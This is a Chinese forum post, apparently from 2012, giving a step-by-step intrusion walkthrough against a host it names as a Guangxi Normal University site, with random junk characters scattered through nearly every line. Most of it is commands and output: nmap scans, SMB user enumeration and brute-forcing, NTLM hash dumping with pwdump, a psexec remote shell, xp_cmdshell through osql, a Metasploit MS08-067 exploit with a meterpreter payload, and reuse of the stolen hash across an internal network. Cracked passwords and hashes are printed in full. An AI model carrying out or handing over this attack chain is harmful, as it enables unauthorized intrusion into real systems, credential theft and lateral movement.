广西师范网站http://202.103.242.241/
3 ], B' s/ j7 A& `' i, i8 I# D8 z& R5 D1 u( T( U; P. G* q
root@bt:~# nmap -sS -sV 202.103.242.241
9 ]7 u( Q- c/ Y- E9 X! g
: q" x3 ~5 _" a' I+ s u0 ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
7 o$ @% h% q( ?# d+ B' Y4 w2 }& U, X. @% C
Nmap scan report for bogon (202.103.242.241)
9 W" z2 G8 N) v" w% X2 q G/ i6 H5 o; O
Host is up (0.00048s latency).) ~) g/ W$ L5 W( ~5 w* r! d
: {# H) A( y) T) X5 b2 V: FNot shown: 993 closed ports
& x8 p/ M3 g8 x. Z3 v4 D- c! [! v/ L" ]
PORT STATE SERVICE VERSION; r- s2 T; g) }+ {+ v8 g1 W
3 \5 X$ H8 y9 D# c! h2 K$ G135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
, _3 S2 {! X H) Y* w, \/ j+ m8 g+ }2 B. i9 M
139/tcp open netbios-ssn' e% C* `+ H, R& y
4 e( c7 V$ L. f
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
& n+ s5 q- N. H/ F/ t: B" ]/ f$ g5 y$ `% C5 h. \; j1 X5 l3 v
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe); {+ T9 p' p% b- w0 l
9 O3 l3 a. w! ^% ]9 ~/ L8 ~1026/tcp open msrpc Microsoft Windows RPC8 M" \% ~$ ~8 o! V7 r
. {; V' p9 w: @* Q# @
3372/tcp open msdtc?5 `6 \: E4 ]9 L6 T. `1 D5 [# u
1 R( s* c: [( e Y0 k, ^7 h
3389/tcp open ms-term-serv?0 w" X d7 `! w( G1 i5 W: l5 \
1 z+ J+ z$ ]& [1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
" o7 `# P' u; j% zSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
0 m$ L# q k$ h: m: G# j& r
! v, v( m( k$ r/ KSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions6 i+ v* ~) y* H) b
3 q g2 X C& L: Z/ z& w' hSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
+ i* n( ~+ F5 p$ d/ Q6 i$ g
$ y- a* d& R) _1 X& I! ISF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO& s1 e0 q' K3 G( i: U
) E, {2 @9 A4 v; t NSF:ptions,6,”hO\n\x000Z”);. _8 C6 M: _. L
2 M, ?8 `) O5 C! @2 f# y+ oMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)' w' v, }6 l! q; ], c
: T3 l3 y1 l/ F1 @8 g8 f' a* Z
Service Info: OS: Windows) P1 e" [# M/ `# x
) K2 f- ^ B+ q3 k+ D4 q
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .0 Q, G/ Y9 j+ j, H% E0 m6 S
, R1 A$ T( z1 ]7 M$ Z. M6 q: M$ h
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
$ B- y$ h- c! G! e7 P0 K1 _
3 B) {1 i) ]- ^root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本0 [; c( u. f5 [) @. [3 D' K2 y& U
1 `" N7 r% K& l5 ^4 P+ \( K0 D-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
; L! _% a+ g1 l- h' H! T8 G2 B
5 k8 T k: X! x-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
9 h* A* @2 d4 h% ^) O3 a6 ~8 B; X# {" j* J+ _
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse0 Q, g( c* g9 Y* L
, W! a$ M5 e3 u0 ~4 R5 W6 |4 J8 V-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse$ G$ F5 e. N) r7 H
1 o1 c5 u+ `. v& s-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
* a6 B( W& T3 E. ?/ {
# X% a. ^$ e: ~7 v-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
" I- c% r2 f8 d' S( Y. \, t6 K: {
. m7 g8 X$ I0 D9 w, M! v7 E-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse+ p8 Z6 z7 s$ l. |. h- ^
# E! b# J1 Q9 C9 ?" p& \-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse% W" U8 d k- h
' [5 V! E3 Z) G! D4 o4 Q& F
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse8 X6 O6 U, z" a( ?! j$ y/ O' |0 r
, b* f: M6 G* D: u
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
8 |0 C K+ C# h- _
$ v* K: W9 }3 R1 }! t3 E-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse, k( o1 G$ g* Q* l8 E5 D; \- f
& p+ R# l4 Z6 Z/ C/ |3 A% d3 n1 B-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse. R# q0 d6 b% g5 Q j6 A: Z3 s" \
; {8 \+ }, m1 l% f5 K
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse5 z5 i3 K; @ @* h2 g2 u* H
$ E( c: u4 w) m2 C
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse; g' o7 `7 _1 o! m# c7 g* c0 A( N
' |6 [& I+ e8 a+ m3 U" k: I
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
: D/ e: N; j/ f! O P
# b, _3 X. E4 W: qroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
& @, C, B* o. y, l$ d9 a5 j1 x$ ^* g3 ?& s' \# t
//此乃使用脚本扫描远程机器所存在的账户名$ T- r6 Y2 b) Y6 u( J* r c9 L' B/ q
/ B. U" U" v6 uStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST/ m/ f: k. z |+ \- k# v
6 N0 Q3 |! `; `1 U. D/ s3 QNmap scan report for bogon (202.103.242.241)
) g2 d e1 g) D( g* E' C
" t; C+ r) G3 T6 e- mHost is up (0.00038s latency).! ]* n( v/ f$ k8 {/ ^# i$ f% T
& w8 ^7 ], Y5 t' y
Not shown: 993 closed ports
4 `: V; Y2 l$ j6 q) \( X4 a' @! v3 ^0 D$ m
PORT STATE SERVICE
' [1 y$ e- a8 b1 V0 b3 G1 c
+ t" a" m8 i; o- s135/tcp open msrpc
7 P: d! \$ L8 \$ N$ g5 U
/ y& r, C' q0 [2 n+ k139/tcp open netbios-ssn# c- {1 l% Q( r
- ^0 o& c2 h2 n# Q* [2 l
445/tcp open microsoft-ds
1 E1 G7 @" M/ _( h9 ~- y K8 ?
1 |9 t5 r, r/ T, r- f& s+ S1025/tcp open NFS-or-IIS" P5 I/ _6 c" U+ N
b4 _6 q p; V) S( }8 Z1026/tcp open LSA-or-nterm7 \6 M i" ?+ S' N
' Y0 D& n ^0 T# U
3372/tcp open msdtc8 S8 ]. S6 q; ?. H5 T
. T& o1 H8 T8 T- [. n3389/tcp open ms-term-serv
$ ^2 {% g% C) Y* ^1 Q: P: L2 O2 i) [4 [' o" S# u9 p
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
! Y* w3 u( I8 ?! }1 W/ w
; O8 S# `7 S ^) V+ z: ?1 b2 n! oHost script results:2 F, r4 u! `# l" R) ^& N; D3 t3 a
/ c* e( P/ |; V. t8 X5 ~
| smb-enum-users:
; z- l: M$ f- A, o, `
" }9 k& k/ X8 [2 \( T8 H7 m0 {|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果8 g0 F- D& y: u, P& [3 H6 M
" G+ P4 \+ s7 b* ^& w
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
9 `" O$ k# E3 b
7 G# w- E, H* T+ O6 k' \# A, s. kroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 8 c( C7 O4 E- s, W% Q
, M3 Q7 {$ ?0 }# d//查看共享
/ c7 |* e$ x" x. z* f3 |2 S* F% Y; W6 U2 }7 e# C
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
) P" l" O; R: f6 @) R
g7 k2 p' P" l9 MNmap scan report for bogon (202.103.242.241)
: _, B& o& w+ h% X) Z3 ], i- }* X0 o5 o
! M9 W. R, K- S5 GHost is up (0.00035s latency).7 O$ V: T% p+ d: ?# j9 N
9 L2 s$ Z9 u6 |9 [
Not shown: 993 closed ports: K2 B4 j$ [* e$ j2 j( r+ C
1 k# P( q! C8 W; E: }
PORT STATE SERVICE2 h" e$ ]. j% x; \( P
' w- X9 Q1 s+ h$ v( E$ r135/tcp open msrpc1 s, j# P1 v- R* u
, p, c( b4 T' C0 z- |5 O139/tcp open netbios-ssn
: e" c- m! M/ ]+ k
' u6 ?% S$ h5 J/ o, d3 U445/tcp open microsoft-ds" l+ Q* k6 S7 a( t3 p
, ~/ b$ W+ ~" n+ _
1025/tcp open NFS-or-IIS
* a% i6 H( M4 l. b# s4 d' A! I
* _7 [% e# c6 S, M0 f# ?7 I5 g+ Q1026/tcp open LSA-or-nterm& a0 Q( [5 n7 K; z/ {! o3 |
) Y; A- T h- l5 O; @6 ~9 B
3372/tcp open msdtc
) e# L. q! F4 U5 f. r6 f: Z
% X+ B$ d$ Q) k1 n6 J0 M3389/tcp open ms-term-serv
; t6 D) Z; r; O# u0 T
+ X2 a. P9 p% P6 \- T3 ]7 p% w J0 }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ U9 H$ ^) Z# x. @4 s# S7 i8 X9 F+ ~! X S+ j
Host script results:0 Q y6 Q5 N7 p' S
6 a. {1 ]# b% O
| smb-enum-shares:) B& t2 {; o4 j" P$ l# d- h/ s
) A+ ~. R$ Z: X3 j
| ADMIN$
& e% F1 L5 e, p7 [
! {0 z# A8 E1 K j| Anonymous access: <none>
@ _5 Q2 K% Y( [6 I" k) o
! q) f. a, r( U% h| C$
3 Y4 {$ B- y' n! q6 p! }/ s
) t. ^% i4 ^: E) I# X9 r0 `1 N6 g| Anonymous access: <none>5 }* h; w: F. p" W
7 U, d2 l) W& U
| IPC$3 Q9 V6 k: @$ P4 h. p3 f5 r
# u( l6 s! P3 o2 I7 x+ Z- \
|_ Anonymous access: READ
9 `2 C/ B) V/ [* S) V9 n: ^+ w7 G9 _% z2 }, J$ e8 p
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds! A4 I' z2 e7 E. ^1 Q
5 s1 G$ _0 ^/ }" O8 _root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 / Q) q4 p) R6 }1 D* Q
# b, g0 ]% H1 Z* N4 N0 h+ ~//获取用户密码) s9 }# e& i+ u; H
- m& _+ A+ W3 X: _$ u! f; d o% ]" c
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST. [6 u! @9 h' A& V# u6 Q
+ m: A& ^0 o, U2 f/ j. R
Nmap scan report for bogon (202.103.242.2418), w1 s i+ f& f# \) I
7 V: ]( I0 [+ W% B
Host is up (0.00041s latency).2 W9 ?) o" N. D3 b
3 S: M9 t3 K( \. c) w
Not shown: 993 closed ports
9 b5 N3 \5 u/ Y$ E& ^8 |7 y0 a7 A' ?% w( t% d7 ^
PORT STATE SERVICE
5 T" ^0 z7 D4 Y0 P& c) f8 s; i3 e1 k! y( M. }- x
135/tcp open msrpc4 i- u* L( @0 V
( H- C/ `' q5 b139/tcp open netbios-ssn' x; V2 @2 c% G6 S
, g# ^6 A$ J& [- U445/tcp open microsoft-ds$ [, X1 U+ X8 s" X3 _3 s3 P) y
6 [+ T" F4 W! z2 G( b
1025/tcp open NFS-or-IIS9 Q% f6 F: `9 y$ _. |2 N
, k2 U7 t8 A4 g& S; t1026/tcp open LSA-or-nterm
, N- D/ x$ h3 p7 b' O D) G! c2 M' u* @9 k; l$ F
3372/tcp open msdtc: y* Y8 ?) h( ~. M6 S3 t
& P5 H, l; g3 K/ {3389/tcp open ms-term-serv4 S$ @4 a0 V( Q7 c7 {
5 p% E3 ^3 R. F$ I; S
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ x/ C- N1 e" @5 A) V- n4 j: ?! b" D9 r0 K( P
Host script results:
6 g" o' w5 G1 z8 \# m2 e( G/ @! G% m1 k5 G3 d/ q7 k
| smb-brute:
5 F! K" W$ s* h9 Y, ~; f" H7 m5 v- F1 M* l9 s/ i2 O3 s
administrator:<blank> => Login was successful8 W# ^" d- p J% Z
4 x) d7 B$ y+ v; _9 f# D: l
|_ test:123456 => Login was successful
2 r6 `# X: s5 \. Y
5 X$ E( f2 c9 M1 X, p6 X3 i6 C& @Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
' ]4 ]$ i( f& O- W5 G
2 c' u8 H( w# E z) croot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
4 T0 L7 P; k9 t8 B" R
; E/ H2 a' ]3 Zroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
$ }9 H+ O- V+ D
( U# |1 L$ A3 Yroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse4 d6 N( X {( N# V% C
9 G \3 F0 C( F" i, ]
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139! r9 l4 G# Z1 o+ Q
: n e% j4 O* T3 ?. [) W- WStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST3 L0 E) d8 B+ ^1 ?
% d% ~0 y$ i2 m
Nmap scan report for bogon (202.103.242.241)9 Z9 p0 o. x8 c
, D) l2 N+ v9 C: ~) C" {/ g- ^
Host is up (0.0012s latency).$ Z5 {) K" r7 m t6 y5 g3 z
j, A' U: R, P* H5 s6 DPORT STATE SERVICE
- g7 ^, M. T; R+ ~! e s- B+ n0 `, R) m2 m* [
135/tcp open msrpc; b4 K# O+ q1 d/ U) {, E& f
5 d1 D9 o" w E6 m1 @6 H3 T
139/tcp open netbios-ssn
* {$ }3 g7 H( `4 `3 Z7 y$ k
9 i1 O9 a, G1 h8 C( B$ t- W445/tcp open microsoft-ds
% p8 U. B+ V H+ Q* f
- S1 i( Q- a8 E K$ m$ \0 a1 RMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)' V. y' O( O. }7 y4 {' q" W
" r+ }( n& Q g9 L+ D$ N6 h4 vHost script results:- {; x. D; c' a. _! B$ H8 W/ F
" d" |; T/ u! R& E$ a- z5 D' u| smb-pwdump:
a. e; v7 `% T2 U5 d( [6 f7 l5 j; E2 g$ o# y$ l9 g& T& M1 _! l
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************& L( `# E! }) t0 W- N
) n( x$ C$ M" i' v Q
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************6 y0 _4 n% X6 C4 d3 M5 n8 F8 q
' s# v: C4 B2 {/ k| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D45 T! x2 g8 Z2 G+ z& y& h( s
+ o! }8 G2 K9 v' x
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
# f' r; O/ A; g( f5 q0 O5 X Y+ Q$ d4 u6 v; a( n9 ~
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
8 v: D7 s0 m* R, r" J0 W ~2 u; w2 t1 G
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
! `" W4 C8 I+ c. ~' _: ]' @1 Z# q- ~- t. Z
-p 123456 -e cmd.exe8 p* ^# ~$ g/ _% z+ I' z# T1 m8 K
& z( Q' ]3 O" T* s
PsExec v1.55 – Execute processes remotely
, d# _% M" d6 @5 a: d; T9 w+ k |% T
Copyright (C) 2001-2004 Mark Russinovich
8 x# S" E; i& @; c+ d% R
' f7 o% l. Y! g+ \4 nSysinternals – www.sysinternals.com% G, [: @* _- I' B& c) j
; I8 w. G/ S; i! QMicrosoft Windows 2000 [Version 5.00.2195]
! W' \' A( E, y0 Y4 }& d' b1 @: G5 L; |* F2 t' Z2 C J
(C) 版权所有 1985-2000 Microsoft Corp.& z: |; k! @2 T% A( @7 |
& P- `6 D/ _. U( j# h
C:\WINNT\system32>ipconfig
4 |; x8 u/ P8 U% r3 F7 k/ \- R/ @" {( \- x# k
Windows 2000 IP Configuration# z* @4 f$ Z( G U3 {0 J: x
+ G, j* R# C% q' K( V$ X; X1 PEthernet adapter 本地连接:
/ @" W' k& |! [" [/ |/ Y" r2 G
. k: t% L x7 V' S. O- j# e _Connection-specific DNS Suffix . :* I, i" b" e% ]# G
( A4 g" l) z& m% o, E! T, k
IP Address. . . . . . . . . . . . : 202.103.242.241! C5 u# {3 \% n4 m; r4 G
9 K/ f8 L$ z& P. g3 {$ D
Subnet Mask . . . . . . . . . . . : 255.255.255.0' R& ?4 C) |- o9 F. ^' ^
: e0 h9 k6 b4 ^- T0 O$ X/ W% _
Default Gateway . . . . . . . . . : 202.103.1.17 Z' d5 U8 _! t) D
2 ]9 `$ J" A: `; TC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令) C3 q3 n0 w# P$ |9 F
$ d# V# C1 n+ a+ ?- u- |* W+ Q
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
; {. @8 U0 H) P7 a' S5 x+ Q9 R6 U s3 t* Y9 | E1 V/ D+ V5 Z: z, U# u4 N
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
& W, Q. e( f9 R* I. q+ S
0 o8 k8 }* {3 X1 n' E5 }2 DNmap scan report for bogon (202.103.242.241)7 X9 g7 F1 U3 c. F! I x8 f
& O2 L3 |' q e. h; pHost is up (0.00046s latency).
9 T! D* h% o, A: ^9 R6 z+ h( y8 p: O; p- J" b" s2 E
Not shown: 993 closed ports, J7 Y) C V5 \/ U
+ C& L, ?+ f2 Y3 E7 }PORT STATE SERVICE
5 }$ @& d# e6 X7 H; j; X' G8 y0 g4 u8 N- X( f% q- y4 H
135/tcp open msrpc: j; }, |. Z- s* R3 b
6 a" w0 K/ v: V1 Q- C! }139/tcp open netbios-ssn
( G& L5 A! y4 a/ y2 V- U; e# P& B, ?2 C" l v8 t- t x
445/tcp open microsoft-ds
: U: V8 r- t. f+ U' | x( v, [$ t# J# Z8 g
1025/tcp open NFS-or-IIS! [6 {# f) C# U1 C' {% }8 b
: d# a1 }! F$ t' G* R& l. h& }
1026/tcp open LSA-or-nterm. b' }8 Q+ u# a: Y5 S2 A& ^0 |
3 n! N! K1 I! n3 D, @3372/tcp open msdtc- U* n. W" b5 k; k% i
8 G( R- O. r( d- @# }( \4 z+ H
3389/tcp open ms-term-serv
3 p9 h# E' ^8 f2 X2 O) h3 l- G/ J, @2 t5 E3 h f g
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ H5 B/ \2 _- T& W$ f
$ E$ R: Q1 P" a' s( {0 O O
Host script results:- J" }& P' v2 F% m
" V0 p- v5 Y8 X
| smb-check-vulns:
2 W1 f0 E# c4 h5 `. ]3 Q
2 d3 A& I2 {7 `|_ MS08-067: VULNERABLE
* W G, a% P- M- Q: D8 x1 N/ ^ }/ O- a
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds, s& r5 b: V# w5 O! H( a
: a/ [/ s. j+ s) V
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出$ G% }6 N3 L* a' T
2 A+ g3 ?% t, Smsf > search ms08
; b f; `. P+ E# b5 u# v
0 q- N1 \$ b; L Xmsf > use exploit/windows/smb/ms08_067_netapi
1 H- X0 T. L, |& ~: h! t' _% M. ]) D7 i, G5 B
msf exploit(ms08_067_netapi) > show options
) ?& w3 N/ z; R) |+ M, b1 i; t6 a! J$ f* i) J g- b: A( g
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
7 R8 _2 S% `; I" X9 _' w
1 f( {: M+ p% ?$ u' c8 Nmsf exploit(ms08_067_netapi) > show payloads* Q" Q* x4 S0 Y- H$ B
9 V, ]: x3 w' i. X! rmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
8 K6 l! Q+ v9 E1 _. t$ _5 R6 S; y) B, `0 x/ B( y4 n$ t
msf exploit(ms08_067_netapi) > exploit! P" ]- U2 P* v, b$ { @
" Y) C4 [5 t: B2 C3 ]& e7 X
meterpreter >
a! W9 A1 ?/ n% s" B% @# |; ]# o; z5 l) n& _; ~
Background session 2? [y/N] (ctrl+z)
7 z% R" i, i' o; ~, Q$ x
" F+ k6 \2 g9 e: kmsf exploit(ms08_067_netapi) > sessions -l' m, U2 d$ O' H& F- y# ]+ d) K3 u
( E1 u9 s" X7 b
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
: w. t( F5 w, [( u( v
5 D3 ^4 j+ A( i" Y4 xtest! U5 ^( {2 g+ v; q7 \
; p( O' V$ K# e' z8 L. w3 ]# M" t% Wadministrator
2 I7 X* X3 Q1 O2 J) |8 J% a& C3 u" b7 I0 g
root@bt:/usr/local/share/nmap/scripts# vim password.txt" w2 L' W0 c/ Y. L+ E
! g1 j8 h* N( ]2 ~4 f' P7 _+ c
44EFCE164AB921CAAAD3B435B51404EE
+ o7 }% y! S1 V7 V' n4 B
, v9 E5 ^+ X2 l0 ?& aroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 4 c# P' A- Q5 w7 L8 s, p
& I: Y' Q w5 ]5 M- ?1 N- H //利用用户名跟获取的hash尝试对整段内网进行登录6 v4 h l$ d' x# t1 w
7 Z* ^& s" p4 i$ E' \9 G5 ZNmap scan report for 192.168.1.105# f) E, A8 v6 j2 G9 {, `8 x) P ~9 _' b
. L, q& R6 ~# u1 z! h, VHost is up (0.00088s latency).! M" @% K. ~9 D/ h2 B4 E4 a& _
- l+ `7 w. w$ @- I3 ^+ Q! g6 g) q
Not shown: 993 closed ports
7 A; W# H1 c! d% g$ T: a
) Q9 K) y9 E2 f* i2 {% p( z+ OPORT STATE SERVICE
3 p5 u& v$ l6 @/ ] c# X
3 T6 `$ D1 U! y+ }' Q$ }' ^135/tcp open msrpc
8 Z( ]* s% l0 u! A' |( O
" }* ^# v- r r, @, G7 c; y: V* T139/tcp open netbios-ssn
' F# f* L' `) q. _2 _2 X) S* z |+ J, ?. @2 u Z9 V
445/tcp open microsoft-ds" \% J; M" s8 v$ x
( d' x" X4 {( j. f4 m0 A
1025/tcp open NFS-or-IIS+ z; \# T' a% U! |
5 P ]' O& }1 @ E3 Z
1026/tcp open LSA-or-nterm% U# C3 y0 [5 `1 p# p
( P2 j0 P( j' j% p( j+ u1 ?3372/tcp open msdtc; f) s$ J7 m1 p+ S+ r
; e3 w3 @+ o& V1 E, r3389/tcp open ms-term-serv
0 r2 R( @/ B1 H4 L/ E5 w. [/ M0 s8 z z. O8 T. B
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)9 ~& v* d) m- ^) _9 f) P
0 N1 F9 o" J( G
Host script results:7 C/ t( \6 q# R3 ?$ B5 Q
. z9 [# \" G/ c- \* b" e8 \+ g N
| smb-brute:2 q6 [5 r$ I- V2 F7 W6 L
$ g$ [5 Q; U# R/ h* G; m6 p; k$ g- H
|_ administrator:<blank> => Login was successful
/ Y/ `" b. U- @. Q
9 z; u+ A# I3 h# g攻击成功，一个简单的msf+nmap攻击~~· W/ }0 R* h* J3 ^9 ~! }, S: D. ]
4 u; r6 D, k/ S
|
发表于 2012-12-4 12:46:42
收藏
支持
反对